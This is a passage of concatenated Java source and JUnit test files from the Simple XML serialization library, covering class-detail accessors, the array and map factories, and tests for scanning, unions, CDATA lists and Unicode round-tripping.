* @return true if strict parsing is enabled, false otherwise
*/
public boolean isStrict() {
return detail.isStrict();
}
/**
* This is used to determine if the generated annotations are
* required or not. By default generated parameters are required.
* Setting this to false means that null values are accepted
* by all defaulted fields or methods depending on the type.
*
* @return this is used to determine if defaults are required
*/
public boolean isRequired() {
return detail.isRequired();
}
/**
* This is used to determine if the class is an inner class. If
* the class is a inner class and not static then this returns
* false. Only static inner classes can be instantiated using
* reflection as they do not require a "this" argument.
*
* @return this returns true if the class is a static inner
*/
public boolean isInstantiable() {
return detail.isInstantiable();
}
/**
* This is used to determine whether this detail represents a
* primitive type. A primitive type is any type that does not
* extend <code>Object</code>, examples are int, long and double.
*
* @return this returns true if no XML annotations were found
*/
public boolean isPrimitive() {
return detail.isPrimitive();
}
/**
* This is used to acquire the super type for the class that is
* represented by this detail. If the super type for the class
* is <code>Object</code> then this will return null.
*
* @return returns the super type for this class or null
*/
public Class getSuper() {
return detail.getSuper();
}
/**
* This returns the type represented by this detail. The type is
* the class that has been scanned for annotations, methods and
* fields. All super types of this are represented in the detail.
*
* @return the type that this detail object represents
*/
public Class getType() {
return detail.getType();
}
/**
* This returns the name of the class represented by this detail.
* The name is either the name as specified in the last found
* <code>Root</code> annotation, or if a name was not specified
* within the discovered root then the Java Bean class name of
* the last class annotated with a root annotation.
*
* @return this returns the name of the object being scanned
*/
public String getName() {
return detail.getName();
}
/**
* This returns the <code>Root</code> annotation for the class.
* The root determines the type of deserialization that is to
* be performed and also contains the name of the root element.
*
* @return this returns the name of the object being scanned
*/
public Root getRoot() {
return detail.getRoot();
}
/**
* This returns the order annotation used to determine the order
* of serialization of attributes and elements. The order is a
* class level annotation that can be used only once per class
* XML schema. If none exists then this will return null.
* of the class processed by this scanner.
*
* @return this returns the name of the object being scanned
*/
public Order getOrder() {
return detail.getOrder();
}
/**
* This returns the <code>Default</code> annotation access type
* that has been specified by this. If no default annotation has
* been declared on the type then this will return null.
*
* @return this returns the default access type for this type
*/
public DefaultType getAccess() {
return detail.getAccess();
}
/**
* This returns the <code>Default</code> annotation access type
* that has been specified by this. If no default annotation has
* been declared on the type then this will return null.
*
* @return this returns the default access type for this type
*/
public DefaultType getOverride() {
return access;
}
/**
* This returns the <code>Namespace</code> annotation that was
* declared on the type. If no annotation has been declared on the
* type this will return null as not belonging to any.
*
* @return this returns the namespace this type belongs to, if any
*/
public Namespace getNamespace() {
return detail.getNamespace();
}
/**
* This returns the <code>NamespaceList</code> annotation that was
* declared on the type. A list of namespaces are used to simply
* declare the namespaces without specifically making the type
* belong to any of the declared namespaces.
*
* @return this returns the namespace declarations, if any
*/
public NamespaceList getNamespaceList() {
return detail.getNamespaceList();
}
/**
* This returns a list of the methods that belong to this type.
* The methods here do not include any methods from the super
* types and simply provides a means of caching method data.
*
* @return returns the list of methods declared for the type
*/
public List<MethodDetail> getMethods() {
return detail.getMethods();
}
/**
* This returns a list of the fields that belong to this type.
* The fields here do not include any fields from the super
* types and simply provides a means of caching method data.
*
* @return returns the list of fields declared for the type
*/
public List<FieldDetail> getFields() {
return detail.getFields();
}
/**
* This returns the annotations that have been declared for this
* type. It is preferable to acquire the declared annotations
* from this method as they are cached. Older versions of some
* runtime environments, particularly Android, are slow at this.
*
* @return this returns the annotations associated with this
*/
public Annotation[] getAnnotations() {
return detail.getAnnotations();
}
/**
* This returns the constructors that have been declared for this
* type. It is preferable to acquire the declared constructors
* from this method as they are cached. Older versions of some
* runtime environments, particularly Android, are slow at this.
*
* @return this returns the constructors associated with this
*/
public Constructor[] getConstructors() {
return detail.getConstructors();
}
/**
* This is used to return a string representation of the detail.
* The string returned from this is the same that is returned
* from the <code>toString</code> of the type represented.
*
* @return this returns the string representation of the type
*/
public String toString() {
return detail.toString();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/AttributeNameSameAsElementNameTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
public class AttributeNameSameAsElementNameTest extends TestCase{
@Root
private static class AttributeSameAsElement{
@Attribute(name="a")
private String attr;
@Element(name="a")
private String elem;
public void setAttr(String attr) {
this.attr = attr;
}
public void setElem(String elem) {
this.elem = elem;
}
public AttributeSameAsElement(
@Element(name="a") String name,
@Attribute(name="a") String elem) {
this.attr = attr;
this.elem = elem;
}
}
public void testSame() throws Exception {
Persister persister = new Persister();
AttributeSameAsElement element = new AttributeSameAsElement("attr", "elem");
boolean exception = false;
try {
persister.write(element, System.err);
}catch(Exception e){
e.printStackTrace();
exception = true;
}
assertTrue("Can not have similarly named values in constructor", exception);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/SuperTypeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.strategy.ClassToNamespaceVisitor;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.Visitor;
import org.simpleframework.xml.strategy.VisitorStrategy;
public class SuperTypeTest extends TestCase {
public static interface SuperType {
public void doSomething();
}
@Root
public static class SubType1 implements SuperType {
@Element
private String text;
public void doSomething() {
System.out.println("SubType1: " + this);
}
public String toString() {
return text;
}
}
@Root
public static class SubType2 implements SuperType {
@Element
private SuperType superType;
public void doSomething() {
System.out.println("SubType2: " + this);
}
public String toString() {
return "Inner: " + superType.toString();
}
}
@Root(name="objects")
public static class MyMap {
@ElementMap(entry="object", key="key", attribute=true, inline=true)
private Map<String, SuperType> map = new HashMap<String, SuperType>();
public Map<String, SuperType> getInternalMap() {
return map;
}
}
public void testSuperType() throws Exception {
Map<String, String> clazMap = new HashMap<String, String> ();
clazMap.put("subtype1", SubType1.class.getName());
clazMap.put("subtype2", SubType2.class.getName());
Visitor visitor = new ClassToNamespaceVisitor(false);
Strategy strategy = new VisitorStrategy(visitor);
Serializer serializer = new Persister(strategy);
MyMap map = new MyMap();
SubType1 subtype1 = new SubType1();
SubType2 subtype2 = new SubType2();
StringWriter writer = new StringWriter();
subtype1.text = "subtype1";
subtype2.superType = subtype1;
map.getInternalMap().put("one", subtype1);
map.getInternalMap().put("two", subtype2);
serializer.write(map, writer);
serializer.write(map, System.out);
serializer.read(MyMap.class, writer.toString());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ScannerTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Collection;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Path;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
public class ScannerTest extends TestCase {
@Root(name="name")
public static class Example {
@ElementList(name="list", type=Entry.class)
private Collection<Entry> list;
@Attribute(name="version")
private int version;
@Attribute(name="name")
private String name;
}
@Root(name="entry")
public static class Entry {
@Attribute(name="text")
public String text;
}
@Root(name="name", strict=false)
public static class MixedExample extends Example {
private Entry entry;
private String text;
@Element(name="entry", required=false)
public void setEntry(Entry entry) {
this.entry = entry;
}
@Element(name="entry", required=false)
public Entry getEntry() {
return entry;
}
@Element(name="text")
public void setText(String text) {
this.text = text;
}
@Element(name="text")
public String getText() {
return text;
}
}
@Root
public static class ExampleWithPath {
@Attribute
@Path("contact-info/phone")
private String code;
@Element
@Path("contact-info/phone")
private String mobile;
@Element
@Path("contact-info/phone")
private String home;
}
public static class DuplicateAttributeExample extends Example {
private String name;
@Attribute(name="name")
public void setName(String name) {
this.name = name;
}
@Attribute(name="name")
public String getName() {
return name;
}
}
public static class NonMatchingElementExample {
private String name;
@Element(name="name", required=false)
public void setName(String name) {
this.name = name;
}
@Element(name="name")
public String getName() {
return name;
}
}
public static class IllegalTextExample extends MixedExample {
@Text
private String text;
}
public void testExampleWithPath() throws Exception {
Scanner scanner = new ObjectScanner(new DetailScanner(ExampleWithPath.class), new Support());
ArrayList<Class> types = new ArrayList<Class>();
assertEquals(scanner.getSection().getElements().size(), 0);
assertTrue(scanner.getSection().getSection("contact-info") != null);
assertEquals(scanner.getSection().getSection("contact-info").getElements().size(), 0);
assertEquals(scanner.getSection().getSection("contact-info").getAttributes().size(), 0);
assertTrue(scanner.getSection().getSection("contact-info").getSection("phone") != null);
assertEquals(scanner.getSection().getSection("contact-info").getSection("phone").getElements().size(), 2);
assertEquals(scanner.getSection().getSection("contact-info").getSection("phone").getAttributes().size(), 1);
assertNull(scanner.getText());
assertTrue(scanner.isStrict());
}
public void testExample() throws Exception {
Scanner scanner = new ObjectScanner(new DetailScanner(Example.class), new Support());
ArrayList<Class> types = new ArrayList<Class>();
assertEquals(scanner.getSection().getElements().size(), 1);
assertEquals(scanner.getSection().getAttributes().size(), 2);
assertNull(scanner.getText());
assertTrue(scanner.isStrict());
for(Label label : scanner.getSection().getElements()) {
assertTrue(label.getName().equals(label.getName()));
assertTrue(label.getEntry().equals(label.getEntry()));
types.add(label.getType());
}
assertTrue(types.contains(Collection.class));
for(Label label : scanner.getSection().getAttributes()) {
assertTrue(label.getName() == label.getName());
assertTrue(label.getEntry() == label.getEntry());
types.add(label.getType());
}
assertTrue(types.contains(int.class));
assertTrue(types.contains(String.class));
}
public void testMixedExample() throws Exception {
Scanner scanner = new ObjectScanner(new DetailScanner(MixedExample.class), new Support());
ArrayList<Class> types = new ArrayList<Class>();
assertEquals(scanner.getSection().getElements().size(), 3);
assertEquals(scanner.getSection().getAttributes().size(), 2);
assertNull(scanner.getText());
assertFalse(scanner.isStrict());
for(Label label : scanner.getSection().getElements()) {
assertTrue(label.getName().equals(label.getName()));
assertTrue(label.getEntry() == label.getEntry());
types.add(label.getType());
}
assertTrue(types.contains(Collection.class));
assertTrue(types.contains(Entry.class));
assertTrue(types.contains(String.class));
for(Label label : scanner.getSection().getAttributes()) {
assertTrue(label.getName().equals(label.getName()));
assertTrue(label.getEntry() == label.getEntry());
types.add(label.getType());
}
assertTrue(types.contains(int.class));
assertTrue(types.contains(String.class));
}
public void testDuplicateAttribute() {
boolean success = false;
try {
new ObjectScanner(new DetailScanner(DuplicateAttributeExample.class), new Support());
} catch(Exception e) {
success = true;
}
assertTrue(success);
}
public void testNonMatchingElement() {
boolean success = false;
try {
new ObjectScanner(new DetailScanner(NonMatchingElementExample.class), new Support());
} catch(Exception e) {
success = true;
}
assertTrue(success);
}
public void testIllegalTextExample() {
boolean success = false;
try {
new ObjectScanner(new DetailScanner(IllegalTextExample.class), new Support());
} catch(Exception e) {
success = true;
}
assertTrue(success);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/ArrayFactory.java<|end_filename|>
/*
* ArrayFactory.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.reflect.Array;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.Position;
/**
* The <code>ArrayFactory</code> is used to create object array
* types that are compatible with the field type. This simply
* requires the type of the array in order to instantiate that
* array. However, this also performs a check on the field type
* to ensure that the array component types are compatible.
*
* @author <NAME>
*/
class ArrayFactory extends Factory {
/**
* Constructor for the <code>ArrayFactory</code> object. This is
* given the array component type as taken from the field type
* of the source object. Each request for an array will return
* an array which uses a compatible component type.
*
* @param context this is the context object for serialization
* @param type the array component type for the field object
*/
public ArrayFactory(Context context, Type type) {
super(context, type);
}
/**
* This is used to create a default instance of the field type. It
* is up to the subclass to determine how to best instantiate an
* object of the field type that best suits. This is used when the
* empty value is required or to create the default type instance.
*
* @return a type which is used to instantiate the collection
*/
@Override
public Object getInstance() throws Exception {
Class type = getComponentType();
if(type != null) {
return Array.newInstance(type, 0);
}
return null;
}
/**
* Creates the array type to use. This will use the provided
* XML element to determine the array type and provide a means
* for creating an array with the <code>Value</code> object. If
* the array size cannot be determined an exception is thrown.
*
* @param node this is the input node for the array element
*
* @return the object array type used for the instantiation
*/
public Instance getInstance(InputNode node) throws Exception {
Position line = node.getPosition();
Value value = getOverride(node);
if(value == null) {
throw new ElementException("Array length required for %s at %s", type, line);
}
Class type = value.getType();
return getInstance(value, type);
}
/**
* Creates the array type to use. This will use the provided
* XML element to determine the array type and provide a means
* for creating an array with the <code>Value</code> object. If
* the array types are not compatible an exception is thrown.
*
* @param value this is the type object with the array details
* @param entry this is the entry type for the array instance
*
* @return this object array type used for the instantiation
*/
private Instance getInstance(Value value, Class entry) throws Exception {
Class expect = getComponentType();
if(!expect.isAssignableFrom(entry)) {
throw new InstantiationException("Array of type %s cannot hold %s for %s", expect, entry, type);
}
return new ArrayInstance(value);
}
/**
* This is used to extract the component type for the array class
* this factory represents. This is used when an array is to be
* instantiated. If the class provided to the factory is not an
* array then this will throw an exception.
*
* @return this returns the component type for the array
*/
private Class getComponentType() throws Exception {
Class expect = getType();
if(!expect.isArray()) {
throw new InstantiationException("The %s not an array for %s", expect, type);
}
return expect.getComponentType();
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import junit.framework.TestCase;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.ElementListUnion;
public class UnionTest extends TestCase {
private static final String SOURCE =
"<unionExample>" +
" <integer>" +
" <number>111</number>" +
" </integer>" +
"</unionExample>";
private static final String SOURCE_LIST =
"<unionExample>" +
" <integer>" +
" <number>111</number>" +
" </integer>" +
" <i>" +
" <number>111</number>" +
" </i>" +
" <d>" +
" <number>222d</number>" +
" </d>" +
" <s>" +
" <string>SSS</string>" +
" </s>" +
"</unionExample>";
private static final String DOUBLE_LIST =
"<unionExample>" +
" <double>" +
" <number>222.2</number>" +
" </double>" +
" <d>" +
" <number>1.1</number>" +
" </d>" +
" <d>" +
" <number>2.2</number>" +
" </d>" +
"</unionExample>";
@Root(name="string")
public static class StringEntry implements Entry<String> {
@Element
private String string;
public String foo(){
return string;
}
}
@Root(name="integer")
public static class IntegerEntry implements Entry<Integer> {
@Element
private Integer number;
public Integer foo() {
return number;
}
}
@Root(name="double")
public static class DoubleEntry implements Entry {
@Element
private Double number;
public Double foo() {
return number;
}
}
public static interface Entry<T> {
public T foo();
}
@Root
public static class UnionExample {
@ElementUnion({
@Element(name="double", type=DoubleEntry.class),
@Element(name="string", type=StringEntry.class),
@Element(name="integer", type=IntegerEntry.class)
})
private Entry entry;
}
@Root
public static class UnionListExample {
@ElementUnion({
@Element(name="double", type=DoubleEntry.class),
@Element(name="string", type=StringEntry.class),
@Element(name="integer", type=IntegerEntry.class)
})
private Entry entry;
@ElementListUnion({
@ElementList(entry="d", inline=true, type=DoubleEntry.class),
@ElementList(entry="s", inline=true, type=StringEntry.class),
@ElementList(entry="i", inline=true, type=IntegerEntry.class)
})
private List<Entry> list;
}
public void testListDeserialization() throws Exception {
Persister persister = new Persister();
UnionListExample example = persister.read(UnionListExample.class, SOURCE_LIST);
List<Entry> entry = example.list;
assertEquals(entry.size(), 3);
assertEquals(entry.get(0).getClass(), IntegerEntry.class);
assertEquals(entry.get(0).foo(), 111);
assertEquals(entry.get(1).getClass(), DoubleEntry.class);
assertEquals(entry.get(1).foo(), 222.0);
assertEquals(entry.get(2).getClass(), StringEntry.class);
assertEquals(entry.get(2).foo(), "SSS");
assertEquals(example.entry.getClass(), IntegerEntry.class);
assertEquals(example.entry.foo(), 111);
persister.write(example, System.out);
}
public void testDoubleListDeserialization() throws Exception {
Persister persister = new Persister();
UnionListExample example = persister.read(UnionListExample.class, DOUBLE_LIST);
List<Entry> entry = example.list;
assertEquals(entry.size(), 2);
assertEquals(entry.get(0).getClass(), DoubleEntry.class);
assertEquals(entry.get(0).foo(), 1.1);
assertEquals(entry.get(1).getClass(), DoubleEntry.class);
assertEquals(entry.get(1).foo(), 2.2);
assertEquals(example.entry.getClass(), DoubleEntry.class);
assertEquals(example.entry.foo(), 222.2);
persister.write(example, System.out);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/MapFactory.java<|end_filename|>
/*
* MapFactory.java July 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.stream.InputNode;
/**
* The <code>MapFactory</code> is used to create map instances that
* are compatible with the field type. This performs resolution of
* the map class by consulting the specified <code>Strategy</code>
* implementation. If the strategy cannot resolve the map class
* then this will select a type from the Java Collections framework,
* if a compatible one exists.
*
* @author <NAME>
*/
class MapFactory extends Factory {
/**
* Constructor for the <code>MapFactory</code> object. This is
* given the field type as taken from the owning object. The
* given type is used to determine the map instance created.
*
* @param context this is the context object for this factory
* @param type this is the class for the owning object
*/
public MapFactory(Context context, Type type) {
super(context, type);
}
/**
* Creates a map object that is determined from the field type.
* This is used for the <code>ElementMap</code> to get a map
* that does not have any overrides. This must be done as the
* inline list does not contain an outer element.
*
* @return a type which is used to instantiate the map
*/
public Object getInstance() throws Exception {
Class expect = getType();
Class real = expect;
if(!isInstantiable(real)) {
real = getConversion(expect);
}
if(!isMap(real)) {
throw new InstantiationException("Invalid map %s for %s", expect, type);
}
return real.newInstance();
}
/**
* Creates the map object to use. The <code>Strategy</code> object
* is consulted for the map object class, if one is not resolved
* by the strategy implementation or if the collection resolved is
* abstract then the Java Collections framework is consulted.
*
* @param node this is the input node representing the list
*
* @return this is the map object instantiated for the field
*/
public Instance getInstance(InputNode node) throws Exception {
Value value = getOverride(node);
Class expect = getType();
if(value != null) {
return getInstance(value);
}
if(!isInstantiable(expect)) {
expect = getConversion(expect);
}
if(!isMap(expect)) {
throw new InstantiationException("Invalid map %s for %s", expect, type);
}
return context.getInstance(expect);
}
/**
* This creates a <code>Map</code> object instance from the type
* provided. If the type provided is abstract or an interface then
* this can promote the type to a map object type that can be
* instantiated. This is done by asking the type to convert itself.
*
* @param value the type used to instantiate the map object
*
* @return this returns a compatible map object instance
*/
public Instance getInstance(Value value) throws Exception {
Class expect = value.getType();
if(!isInstantiable(expect)) {
expect = getConversion(expect);
}
if(!isMap(expect)) {
throw new InstantiationException("Invalid map %s for %s", expect, type);
}
return new ConversionInstance(context, value, expect);
}
/**
* This is used to convert the provided type to a map object type
* from the Java Collections framework. This will check to see if
* the type is a <code>Map</code> or <code>SortedMap</code> and
* return a <code>HashMap</code> or <code>TreeSet</code> type. If
* no suitable match can be found this throws an exception.
*
* @param require this is the type that is to be converted
*
* @return a collection that is assignable to the provided type
*/
public Class getConversion(Class require) throws Exception {
if(require.isAssignableFrom(HashMap.class)) {
return HashMap.class;
}
if(require.isAssignableFrom(TreeMap.class)) {
return TreeMap.class;
}
throw new InstantiationException("Cannot instantiate %s for %s", require, type);
}
/**
* This determines whether the type provided is a object map type.
* If the type is assignable to a <code> Map</code> object then
* this returns true, otherwise this returns false.
*
* @param type given to determine whether it is a map type
*
* @return true if the provided type is a map object type
*/
private boolean isMap(Class type) {
return Map.class.isAssignableFrom(type);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/InlineListWithDataTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class InlineListWithDataTest extends ValidationTestCase {
@Root
private static class ListWithDataExample {
private @ElementList(inline=true, data=true) List<String> list;
public ListWithDataExample(){
this.list = new ArrayList<String>();
}
public void addValue(String value) {
list.add(value);
}
public List<String> getList() {
return list;
}
}
@Root
private static class MapWithDataExample {
private @ElementMap(inline=true, data=true, attribute=true) Map<String, String> map;
public MapWithDataExample(){
this.map = new LinkedHashMap<String, String>();
}
public void putValue(String name, String value) {
map.put(name, value);
}
public Map<String, String> getList() {
return map;
}
}
public void testListWithData() throws Exception {
Persister persister = new Persister();
ListWithDataExample example = new ListWithDataExample();
StringWriter writer = new StringWriter();
example.addValue("A");
example.addValue("B");
example.addValue("C");
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementHasCDATA(text, "/listWithDataExample/string[1]", "A");
assertElementHasCDATA(text, "/listWithDataExample/string[2]", "B");
assertElementHasCDATA(text, "/listWithDataExample/string[3]", "C");
validate(example, persister);
}
public void testMapWithData() throws Exception {
Persister persister = new Persister();
MapWithDataExample example = new MapWithDataExample();
StringWriter writer = new StringWriter();
example.putValue("A", "1");
example.putValue("B", "2");
example.putValue("C", "3");
persister.write(example, writer);
String text = writer.toString();
System.out.println(text);
assertElementHasCDATA(text, "/mapWithDataExample/entry[1]", "1");
assertElementHasCDATA(text, "/mapWithDataExample/entry[2]", "2");
assertElementHasCDATA(text, "/mapWithDataExample/entry[3]", "3");
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnicodeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.util.Dictionary;
import org.simpleframework.xml.util.Entry;
public class UnicodeTest extends ValidationTestCase {
private static final String SOURCE =
"<?xml version='1.0' encoding='UTF-8'?>\n"+
"<example>\n"+
" <list>\n"+
" <unicode origin=\"Australia\" name=\"<NAME>\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"Austria\" name=\"<NAME>\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"Canada\" name=\"<NAME>\">\n"+
" <text>C<NAME>ion</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Democratic People's Rep. of Korea\" name=\"LEE Sol-Hee\">\n"+
" <text>이설희</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Denmark\" name=\"<NAME>\">\n"+
" <text>Sø<NAME>uch-Fausbøll</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Denmark\" name=\"<NAME>ard\">\n"+
" <text><NAME>rd</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Egypt\" name=\"<NAME>\">\n"+
" <text>ﻋﺑﺪﺍﻠﺣﻟﻳﻢ ﺤﺎﻓﻅ</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Egypt\" name=\"Om Kolthoum\">\n"+
" <text>ﺃﻡ ﻛﻟﺛﻭﻡ</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Eritrea\" name=\"<NAME>\">\n"+
" <text>ኤርትራ</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Ethiopia\" name=\"<NAME>\">\n"+
" <text>ኢትዮጵያ</text>\n"+
" </unicode>\n"+
" <unicode origin=\"France\" name=\"<NAME>\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"France\" name=\"<NAME>\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"France\" name=\"Cam<NAME>aint-Saens\">\n"+
" <text>Camille Saint-Saëns</text>\n"+
" </unicode>\n"+
" <unicode origin=\"France\" name=\"<NAME>\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"France\" name=\"Francois Truffaut\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"Germany\" name=\"<NAME>\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"Germany\" name=\"<NAME>\">\n"+
" <text>Walter Schultheiß</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Greece\" name=\"<NAME>\">\n"+
" <text>Γιώργος Νταλάρας</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Iceland\" name=\"<NAME>\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"India (Hindi)\" name=\"Madhuri Dixit\">\n"+
" <text>माधुरी दिछित</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Ireland\" name=\"Sinead O'Connor\">\n"+
" <text>Sinéad O'Connor</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Israel\" name=\"Yehoram Gaon\">\n"+
" <text>יהורם גאון</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Italy\" name=\"Fabrizio DeAndre\">\n"+
" <text>Fab<NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"Japan\" name=\"KUBOTA Toshinobu\">\n"+
" <text>久保田 利伸</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Japan\" name=\"HAYASHIBARA Megumi\">\n"+
" <text>林原 めぐみ</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Japan\" name=\"Mori Ogai\">\n"+
" <text>森鷗外</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Japan\" name=\"Tex Texin\">\n"+
" <text>テクス テクサン</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Norway\" name=\"Tor Age Bringsvaerd\">\n"+
" <text>Tor Åge Bringsværd</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Pakistan (Urdu)\" name=\"<NAME>\">\n"+
" <text>نصرت فتح علی خان</text>\n"+
" </unicode>\n"+
" <unicode origin=\"People's Rep. of China\" name=\"ZHANG Ziyi\">\n"+
" <text>章子怡</text>\n"+
" </unicode>\n"+
" <unicode origin=\"People's Rep. of China\" name=\"WONG Faye\">\n"+
" <text>王菲</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Poland\" name=\"Lech Walesa\">\n"+
" <text>Lech Wałęsa</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Puerto Rico\" name=\"Olga Tanon\">\n"+
" <text>Olga Tañón</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Rep. of China\" name=\"Hsu Chi\">\n"+
" <text>舒淇</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Rep. of China\" name=\"Ang Lee\">\n"+
" <text>李安</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Rep. of Korea\" name=\"AHN Sung-Gi\">\n"+
" <text>안성기</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Rep. of Korea\" name=\"SHIM Eun-Ha\">\n"+
" <text>심은하</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Russia\" name=\"Mikhail Gorbachev\">\n"+
" <text><NAME></text>\n"+
" </unicode>\n"+
" <unicode origin=\"Russia\" name=\"<NAME>\">\n"+
" <text>Борис Гребенщиков</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Syracuse (Sicily)\" name=\"Archimedes\">\n"+
" <text>Ἀρχιμήδης</text>\n"+
" </unicode>\n"+
" <unicode origin=\"Thailand\" name=\"<NAME>i\">\n"+
" <text>ธงไชย แม็คอินไตย์</text>\n"+
" </unicode>\n"+
" <unicode origin=\"U.S.A.\" name=\"<NAME>\">\n"+
" <text>B<NAME></text>\n"+
" </unicode>\n"+
" </list>\n"+
"</example>\n";
@Root(name="unicode")
private static class Unicode implements Entry {
@Attribute(name="origin")
private String origin;
@Element(name="text")
private String text;
@Attribute
private String name;
public String getName() {
return name;
}
}
@Root(name="example")
private static class UnicodeExample {
@ElementList(name="list", type=Unicode.class)
private Dictionary<Unicode> list;
public Unicode get(String name) {
return list.get(name);
}
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testUnicode() throws Exception {
UnicodeExample example = persister.read(UnicodeExample.class, SOURCE);
assertUnicode(example);
validate(example, persister); // Ensure the deserialized object is valid
}
public void testWriteUnicode() throws Exception {
UnicodeExample example = persister.read(UnicodeExample.class, SOURCE);
assertUnicode(example);
validate(example, persister); // Ensure the deserialized object is valid
StringWriter out = new StringWriter();
persister.write(example, out);
example = persister.read(UnicodeExample.class, out.toString());
assertUnicode(example);
validate(example, persister);
}
public void testUnicodeFromByteStream() throws Exception {
byte[] data = SOURCE.getBytes("UTF-8");
InputStream source = new ByteArrayInputStream(data);
UnicodeExample example = persister.read(UnicodeExample.class, source);
assertUnicode(example);
validate(example, persister); // Ensure the deserialized object is valid
}
public void testIncorrectEncoding() throws Exception {
byte[] data = SOURCE.getBytes("UTF-8");
InputStream source = new ByteArrayInputStream(data);
UnicodeExample example = persister.read(UnicodeExample.class, new InputStreamReader(source, "ISO-8859-1"));
assertFalse("Encoding of ISO-8859-1 did not work", isUnicode(example));
}
public void assertUnicode(UnicodeExample example) throws Exception {
assertTrue("Data was not unicode", isUnicode(example));
}
public boolean isUnicode(UnicodeExample example) throws Exception {
// Ensure text remailed unicode
